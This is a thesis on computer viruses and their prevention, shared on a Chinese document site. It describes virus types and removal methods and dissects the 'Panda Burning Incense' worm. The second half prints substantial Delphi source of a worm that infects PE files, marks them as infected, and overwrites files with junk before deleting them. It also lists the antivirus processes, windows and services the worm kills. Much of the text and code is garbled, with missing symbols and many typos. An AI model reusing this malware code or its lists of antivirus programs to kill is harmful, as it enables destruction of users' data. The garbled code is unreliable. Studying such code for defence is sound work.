版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、陕西师范大学网络教育学院毕业论文(设计)论文题目 计算机病毒解析与防范 姓 名 学 号 专 业 计算机科学与技术 批次/层次 指导教师 学习中心 目 录摘要.31 引言.32 正文.32.1 计算机病毒的概述.32.1.1 计算机病毒的定义.42.1.2 计算机病毒的特性.42.2 计算机病毒的分类.42.2.1 计算机病毒的基本分类.42.3 计算机病毒防范和清除的基本原则和技术.62.3.1 计算机病毒防范的概念和原则.62.3.2 计算机病毒防范基本技术.62.3.3 清除计算机病毒的基本方法. 62.4 典型计算机病毒的原理、防范和清除.62.4.1 引导区计算机病毒.72.4.2 文
2、件型计算机病毒.72.4.3 脚本型计算机病毒.82.4.4 特洛伊木马计算机病毒.82.4.5 蠕虫计算机病毒.9 2.5 “熊猫烧香”病毒剖析.9 2.6 计算机主要检测技术和特点.263 参考资料.27 计算机病毒与防范 摘要目前计算机的应用遍及到社会的各个领域,同时计算机病毒也给我们带来了巨大的破坏和潜在的威胁,因此为了确保计算机能够安全工作,计算机病毒的防范工作,已经迫在眉睫。分析了计算机病毒的特点,讨论了主要从及时清除计算机病毒、局域网病毒的防范、加强计算机网络管理、个人用户的防范,这几个方面去进行计算机病毒的有效防范。关键词:计算机病毒 防范1 引言随着计算机在社会生活各个领域的
3、广泛应用,计算机病毒攻击给我们的日常生活和工作中带来了很多的威胁,对于大多数计算机用户来说,谈到“计算机病毒”似乎觉得它深不可测,无法琢磨,其实计算机病毒是可以预防的,为了确保计算机使用的安全性,对计算机进行防范措施是很重要的,本文对此问题进行了探讨。2 正文 21计算机病毒的概述随着社会的不断进步,科学的不断发展,计算机病毒的种类也越来越多,但终究万变不离其宗! 2.1.1计算机病毒的定义一般来讲,凡是能够引起计算机故障,能够破坏计算机中的资源(包括硬件和软件)的代码,统称为计算机病毒。而在我国也通过条例的形式给计算机病毒下了一个具有法律性、权威性的定义:“计算机病毒,是指编制或者在计算机程
4、序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。” 2.1.2计算机病毒的特性 1、隐藏性与潜伏性 计算机病毒是一种具有很高编程技巧、短精悍的可执行程序。它通常内附在正常的程序中,用户启动程序同时也打开了病毒程序。计算机病毒程序经运行取得系统控制权, 可以在不到1秒钟的时间里传染几百个程序。而且在传染操作成后,计算机系统仍能运行,被感染的程序仍能执行,这就是计机病毒传染的隐蔽性计算机病毒的潜伏性则是指,某些编制巧的计算机病毒程序,进入系统之后可以在几周或者几个月甚至年内隐藏在合法文件中,对其它系统文件进行传染,而不被人发现。 2、传染性 计算机病
5、毒可通过各种渠道(磁盘、共享目录、邮件)从已被感染的计算机扩散到其他机器上,感染其它用户在某情况下导致计算机工作失常。3、表现性和破坏性任何计算机病毒都会对机器产生一定程的影响,轻者占用系统资源,导致系统运行速度大幅降低重者除文件和数据,导致系统崩溃。4、可触发性病毒 具有预定的触发条件,可能是时间、日期、文类型或某些特定数据等。一旦满足触发条件,便启动感染或破坏作,使病毒进行感染或攻击;如不满足,继续潜伏。有些病毒针对特定的操作系统或特定的计算机。5、欺骗性和持久性计算机病毒行动诡秘,计算机对其反应迟,往往把病毒造成的错误当成事实接受下来。病毒程序即使被发,已被破坏的数据和程序以及操作系统都
6、难以恢复。在网络操作情况下,由于病毒程序由一个受感染的拷贝通过网络系统反复传,病毒程序的清除愈加复杂。 除了上述五点外,计算机病毒还具有不可预见性、衍生性、针对性、等特点。正是由于计算机病毒具有这些特点,给计算机病毒的预防、检测与清除工作带来了很大的难度。 2.2计算机病毒的分类 2.2.1计算机病毒的基本分类1、传统开机型计算机病毒纯粹的开机型计算机病毒多利用软盘开机时侵入计算机系统,然后再伺机感染其他的软盘或者硬盘,例如:“stoned 3”(米开朗基罗)。2、隐形开机型计算机病毒 此类计算机病毒感染的系统,再行检查开机区,得到的将是正常的磁区资料,就好像没有中毒一样,此类计算机病毒不容易
7、被杀毒软件所查杀,而防毒软件对于未知的此类型计算机病毒,必须具有辨认磁区资料真伪的能力。此类计算机病毒已出现的尚有“fish”. 3、档案感染型兼开机型计算机病毒 档案感染型兼开机型计算机病毒时利用档案感染时司机感染开机区,因而具有双中的行动能力,此类型较著名的计算机病毒有“cancer”。4、目录型计算机病毒本类型计算机病毒的感染方式非常独特,“dir2”即其代表,此类计算机病毒仅修改目录区(root),便可达到其感染目的。 5、传统档案型计算机病毒传统档案型计算机病毒最大的特征,便是将计算机病毒本身植入档案,使档案膨胀,以达到散播传染的目的。代表有“13 firday”。6、千面人计算机病
8、毒 千面人计算机病毒是指具有自我编码能力的计算机病毒,“1701 下雨”等,为这种类型主要代表,此种计算机病毒编码的目的,是使其感染的每一个档案,看起来皆不一样,干扰杀毒软件的侦测,不过千面人计算机病毒仍会留下的这个“小辫子”,将其绳之以法。 7、突变引擎病毒有鉴于前面人计算机病毒一个接一个被截获,边有人编写出一种突变式计算机病毒,使原本千面人计算机病毒无法解决的程序开头相同的问题得到克服,并编写成obj副程序,供他人植草此类计算机病毒,即 mctation engine。尽管如此,这类计算机病毒仅干扰了扫毒式软件,对其他方式的防毒软件并没有太大的影响。8、隐形档案型计算机病毒 此类病毒可以避
9、开去多防毒软件,因为隐形计算机病毒能直接植入dos系统的作业环境中,当外部程序呼叫dos中断服务时,便同时执行到计算机病毒本身,使得计算机病毒能从容地将受其感染的档案,粉饰成正常无毒的样子。此类计算机病毒有“4096” 等。 9、终结型计算机病毒 终结性计算机病毒能追踪磁盘操作终端的原始进入点,当计算机病毒取得磁盘原始中断时,便可任意再磁盘上修改资料或普哦坏资料,而不会惊动防毒程序,这就是说,装有防毒程序和美妆防毒程序的情况是一样的危险。这类计算机病毒有的采用int 1单步执行的方式,逐步追踪磁盘中断的过程,找出bios磁盘中断的部分,供计算机病毒内部使用;有的采用死机的方式,记录几个bios
10、版本的磁盘中断原始进入点,当计算机病毒遭到熟悉的bios版本,便可直接呼叫磁盘中断,对磁盘予取予求;有的则分析磁盘中断的程序片段,找出bios中的相似部分便可直接呼叫磁盘中断。其代表有“hammer 6”等。 10、word巨集计算机病毒 word 巨集计算机病毒可以说时目前最新的计算机病毒种类了,它是文件型计算机病毒,异于以往以感染磁盘区或可执行的档案为主的计算机病毒,此类病毒时利用word 提供的巨集功能来感染文件。目前已经在internet及bbs网络中发现不少word巨集计算机病毒,而且此类计算机病毒是用类似basic程序编写出来的,易学,其反战速度一定很快。 2.3计算机病毒防范和清
11、除的基本原则和技术 2.3.1计算机病毒防范的概念和原则计算机病毒防范,是指通过建立合理的计算机病毒防范体系和制度,即使发现计算机病毒入侵,并采取有效的手段阻止计算机病毒的传播和破坏,回复受影响的计算机系统和数据。原则以防御计算机病毒为主动,主要表现在检测行为的动态性和防范方法的广谱性。2.3.2计算机病毒防范基本技术 计算机病毒预防是在计算机病毒尚未入侵或刚刚入侵,就拦截、阻击计算机病毒的入侵或立即警报。目前在预防计算机病毒工具中采用的主要技术如下: 2.3.3清除计算机病毒的基本方法 1.简单的工具治疗简单工具治疗是指使用debug等简单的工具,借助检测者对某种计算机病毒的具体知识,从感染
12、计算机病毒的软件中摘除计算机代码。但是,这种方法同样对检测者自身的专业素质要求较高,而且治疗效率也较低。 2.专用工具治疗使用专用工具治疗被感染的程序时通常使用的治疗方法。专用计算机治疗工具,根据对计算机病毒特征的记录,自动清除感染程序中的计算机病毒代码,使之得以恢复。使用专用工具治疗计算机病毒时,治疗操作简单、高效。从探索与计算机病毒对刚的全过程来看,专用工具的开发商也是先从使用简单工具进行治疗开始,当治疗获得成功后,再研制相应的软件产品,使计算机自动地完成全部治疗操作。 2.4 典型计算机病毒的原理、防范和清除 2.4.1引导区计算机病毒系统引导区时在系统引导的时候,进入到系统中,获得对系
13、统的控制权,在完成其自身的安装后才去引导系统的。称其为引导区计算机病毒时因为这类计算机病毒一般是都侵占系统硬盘的主引导扇区i/o分区的引导扇区,对于软盘则侵占了软盘的引导扇区。它会感染在该系统中进行读写操作的所有软盘,然后再由这些软盘以复制的方式和引导进入到其他计算机系统,感染其他计算机的操作系统。如何检测呢?1. 查看系统内存的总量与正常情况进行比较2. 检查系统内存高端的内容3. 检查系统的int 13h中断向量4. 检查硬盘的主引导扇区、dos分区引导扇区以及软盘的引导扇区清除:用原来正常的分区表信息或引导扇区信息,覆盖掉计算机病毒程序。此时,如果用户事先提取并保存了自己硬盘中分区表的信
14、息和dos分区引导扇区信息,那么,恢复工作变得非常简单。可以直接用debug将这两种引导扇区的内容分别调入内存,然后分别回它的原来位置,这样就消除了计算机病毒。 2.4.2文件型计算机病毒文件型计算机病毒程序都是依附在系统可执行文件或覆盖文件上,当文件装入系统执行的时候,引导计算机病毒程序也进入到系统中。只有极少计算机病毒程序感染数据文件。此类病毒感染对象大多是系统的可执行文件,也有一些还要对覆盖文件进行传染,而对数据进行传染的则少见。清除:1. 确定计算机病毒程序的位置,是驻留在文件尾部还是在文件首部。2. 找到计算机病毒程序的首部位置(对应于在文件尾部驻留方式),或者尾部位置(对应于在文件
15、首部驻留方式)。3. 恢复原文件头部的参数。4. 修改文件长度,将源文件写回。2.4.3脚本型计算机病毒主要采用脚本语言设计的病毒称其为脚本病毒。实际上在早期的系统中,计算机病毒就已经开始利用脚本进行传播和破坏,不过专门的脚本病毒并不常见。但是在脚本应用无所不在的今天,脚本病毒却成为危害最大,最为广泛的病毒,特别是当他和一些传统的恶性病毒相结合时,其危害就更为严重了。其主要有两种类型,纯脚本型,混合型。它的特点:l 编写简单l 破坏力大l 感染力强l 传播范围大(多通过e-mail,局域网共享,感染网页文件的方式传播)l 计算机病毒源码容易被获取,变种多l 欺骗性强l 使得计算机病毒生产机事先
16、起来非常容易清除:l 禁用文件系统对象filesystemobjectl 卸载windows scripting hostl 删除vbs,vbe,js,jse文件后缀与应用程序映射l 在windows目录中,找到wscript.exe,更改名称或者删除l 要彻底防止vbs网络蠕虫病毒,还需要设置一下浏览器l 禁止oe的自动收发电子邮件功能l 显示所有文件类型的扩展名称l 将系统的网络连接的安全级别设置至少为“中等” 2.4.4特洛伊木马计算机病毒特洛伊木马也叫黑客程序或后门病毒,是指吟唱在正常程序中的一段具有特殊功能的程序,其隐蔽性及好,不易察觉,是一种极为危险的网络攻击手段。 其第一代:伪装
17、性病毒,第二代:aids型木马,第三代:网络传播性木马如何检查?l 稽查注册表l 检查你的系统配置文件l 清除:l 备份重要数据l 立即关闭身背电源l 备份木马入侵现场l 修复木马危害 2.4.5 蠕虫计算机病毒蠕虫是一种通过网络传播的恶性计算机病毒,它具有计算机病毒的一些共性,如传播性、隐蔽性、破坏性等。同时自己有自己一些特征,如利用文件寄生,对网络造成拒绝服务以及和黑客技术相结合等。简单点说,蠕虫就是使用危害的代码来攻击网络上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的计算机病毒。其特征:l 自我繁殖l 利用软件漏洞l 造成网络拥堵l 消耗系统资源l 留下安全隐患清除:l 与
18、防火墙互动l 交换机联动l 通知hids(基于主机的入侵检测)l 报警 2.5 “熊猫烧香”病毒剖析 “熊猫烧香”病毒感染机理:“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具ghost的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。 1:拷贝文件病毒运行后,会把自己拷贝到c:windowssystem32driversspoclsv.exe 2:添加注册表自启动病毒会添加自启动项hkey_
19、current_usersoftwaremicrosoftwindowscurrentversionrun svcshare - c:windowssystem32driversspoclsv.exe 3:病毒行为a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序: qqkav、qqav、防火墙、进程、virusscan、网镖、杀毒、毒霸、瑞星、江民、黄山ie、超级兔子、优化大师、木马克星、木马清道夫、qq病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、symantec antivirus、duba、esteem proces、绿鹰pc、密码防盗、噬菌体、木马辅助查找器、sys
20、tem safety monitor、wrapped gift killer、winsock expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、icesword,并使用的键盘映射的方法关闭安全软件icesword。添加注册表使自己自启动hkey_current_usersoftwaremicrosoftwindowscurrentversionrun svcshare - c:windowssystem32driversspoclsv.exe并中止系统中以下的进程: mcshield.exe、vstskmgr.exe、naprdmgr.exe、updat
21、erui.exe、tbmon.exe、scan32.exe、ravmond.exe、ccenter.exe、ravtask.exe、rav.exe、ravmon.exe、ravmond.exe、ravstub.exe、kvxp.kxp、kvmonxp.kxp、kvcenter.kxp、kvsrvxp.exe、kregex.exe、uihost.exe、trojdie.kxp、frogagent.exe、logo1_.exe、logo_1.exe、rundl132.exe。b:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin
22、$共享。c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享。d:每隔6秒删除安全软件在注册表中的键值。并修改以下值不显示隐藏文件 hkey_local_machinesoftwaremicrosoftwindowscurrentversionexploreradvancedfolderhiddenshowall checkedvalue - 0x00 删除以下服务: navapsvc、wscsvc、kpfwsvc、sndsrvc、ccproxy、ccevtmgr、ccsetmgr、spbbcsvc、symantec
23、 core lc、npfmntor mskservice、firesvc。e:感染文件 病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址,用户一但打开了该文件,ie就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件: window、winnt、system volume information、recycled、windows nt、windowsupdate、windows media player、outlook express、inter
24、net explorer、netmeeting、common files、complus applications、messenger、installshield installation information、msn、microsoft frontpage、movie maker、msn gamin zone 。g:删除文件 病毒会删除扩展名为gho的文件,该文件是一系统备份工具ghost的备份文件使用户的系统备份文件丢失。 “熊猫烧香”病毒核心源码用 delphi 写 program japussy; uses windows, sysutils, classes, graphics,
25、shellapi, registry; const headersize = 82432; /病毒体的大小 iconoffset = $12eb8; /pe文件主图标的偏移量 /在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同 /查找2800000020的十六进制字符串可以找到主图标的偏移量 headersize = 38912; /upx压缩过病毒体的大小 iconoffset = $92bc; /upx压缩过pe文件主图标的偏移量 /upx 1.24w 用法: upx -9 -8086 japussy.exe iconsize = $2e8; /pe文件主图标
26、的大小-744字节 icontail = iconoffset + iconsize; /pe文件主图标的尾部 id = $44444444; /感染标记 /垃圾码,以备写入 catchword = if a race need to be killed out, it must be yamato. + if a country need to be destroyed, it must be japan! + * w32.japussy.worm.a *; $r *.res function registerserviceprocess()function registerservicep
27、rocess(dwprocessid, dwtype: integer): integer; stdcall; external kernel32.dll; /函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; /日文操作系统标记 判断是否为win9x function iswin9x()function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversio
28、ninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then /win9x result := true; end; 在流之间复制 procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer;
29、 begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end; 将宿主文件从已感染的pe文件中分离出来,以备使用 procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream :
30、= tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); /跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end; except end; end; 填充startupi
31、nfo结构 procedure fillstartupinfo(var si: startupinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; si.wshowwindow := state; si.cbreserved2 := 0; si.lpreserved2 := nil; end; 发带毒邮件 procedure sendmail; begin /哪
32、位仁兄愿意完成之? end; 感染pe文件 procedure infectonefile(filename: string); var hdrstream, srcstream: tfilestream; icostream, dststream: tmemorystream; iid: longint; aicon: ticon; infected, ispe: boolean; i: integer; buf: array0.1 of char; begin try /出错则文件正在被使用,退出 if comparetext(filename, japussy.exe) = 0 then
33、 /是自己则不感染 exit; infected := false; ispe := false; srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do /检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf0 = #80) and (buf1 = #69) then /pe标记 begin ispe := true; /是pe文件 break; end; end; srcstr
34、eam.seek(-4, sofromend); /检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size 10240) then /太小的文件不感染 infected := true; finally srcstream.free; end; if infected or (not ispe) then /如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := tic
35、on.create; try /得到被感染文件的主图标(744字节),存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end; srcstream := tfilestream.create(filename, fmopenread); /头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsha
36、redenynone); try /写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); /写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, iconsize); /写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize - icontail); /写入宿主程序 copystream(srcstream, 0, dststream, he
37、adersize, srcstream.size); /写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally hdrstream.free; end; finally srcstream.free; icostream.free; dststream.savetofile(filename); /替换宿主文件 dststream.free; end; except; end; end; 将目标文件写入垃圾码后删除 procedure smashfile(filename: string
38、); var filehandle: integer; i, size, mass, max, len: integer; begin try setfileattributes(pchar(filename), 0); /去掉只读属性 filehandle := fileopen(filename, fmopenwrite); /打开文件 try size := getfilesize(filehandle, nil); /文件大小 i := 0; randomize; max := random(15); /写入垃圾码的随机次数 if max 5 then max := 5; mass :
39、= size div max; /每个间隔块的大小 len := length(catchword); while i max do begin fileseek(filehandle, i * mass, 0); /定位 /写入垃圾码,将文件彻底破坏掉 filewrite(filehandle, catchword, len); inc(i); end; finally fileclose(filehandle); /关闭文件 end; deletefile(pchar(filename); /删除之 except end; end; 获得可写的驱动器列表 function getdrives()function getdrives: string; var disktype: word; d: char; str: string; i: integer; begin for i := 0 to 25 do /遍历26个字母 begin d := chr(i + 65); str := d + :; disktype := getdrivetype(pchar(str); /得到本地磁盘和网络盘 if (disktype = drive_fixed) or (disktype = d
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024-2025学年八年级语文上册期末专项复习:作文【知识清单】
- 超高层建筑室内安全施工方案
- 房地产行业客户资料保密方案
- 2024年合作协议:企业与个人共同拓展业务
- 2024年制鞋业专属皮革供应合同
- 2024年个人与公司项目承接协议
- 2024年出纳员职位合同
- 物流加工区白领公寓二期项目桩基工程施工组织设计
- 2024年假山景观施工承包协议
- 2024年风动和电动工具项目规划申请报告模范
- 体育行业的运动场馆安全规范培训
- 小区大门改进方案
- 医院建设目标及规划
- 2024年中考历史九年级上册重点知识点复习提纲(部编版)
- 眼科门诊经营方案
- 《声声慢(寻寻觅觅)》
- 智慧小区建设售后服务方案
- 软件使用授权书
- Unit1KnowingMeKnowingYou如何写读后感课件高一下学期英语
- 脑卒中后吞咽障碍患者进食护理(2023年中华护理学会团体标准)
- DB21T 2885-2023居住建筑节能设计标准
评论
0/150
提交评论